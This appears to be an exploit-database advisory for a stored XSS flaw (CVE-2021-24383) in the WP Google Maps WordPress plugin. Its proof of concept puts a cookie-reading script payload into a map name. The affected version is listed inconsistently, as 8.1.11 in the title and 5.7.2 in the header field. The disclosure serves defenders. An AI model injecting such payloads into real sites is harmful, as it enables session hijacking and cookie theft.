WordPress WP Google Maps 8.1.11 Cross Site Scripting

2021.06.25

Credit: Mohammed Adam

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2021-24383

CWE: CWE-79

CVSS Base Score: 3.5/10

Impact Subscore: 2.9/10

Exploitability Subscore: 6.8/10

Exploit range: Remote

Attack complexity: Medium

Authentication: Single time

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

# Exploit Title: WordPress Plugin WP Google Maps 8.1.11 - Stored Cross-Site Scripting (XSS)
# Date: 22/6/2021
# Exploit Author: Mohammed Adam
# Vendor Homepage: https://www.wpgmaps.com/
# Software Link: https://wordpress.org/plugins/wp-google-maps/
# Version: 5.7.2
# Tested on: Windows 10
# CVE: CVE-2021-24383
# References link: https://wpscan.com/vulnerability/1270588c-53fe-447e-b83c-1b877dc7a954

*Proof of Concept*

*Steps to Reproduce:*

1) Edit a map (e.g
/wp-admin/admin.php?page=wp-google-maps-menu&action=edit&map_id=1)

2) Change Map Name to <script>alert(document.cookie)</script>

3) Save the Map

4) Stored XSS will be triggered when viewing the Map List
(/wp-admin/admin.php?page=wp-google-maps-menu)

See this note in RAW Version

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WordPress WP Google Maps 8.1.11 Cross Site Scripting

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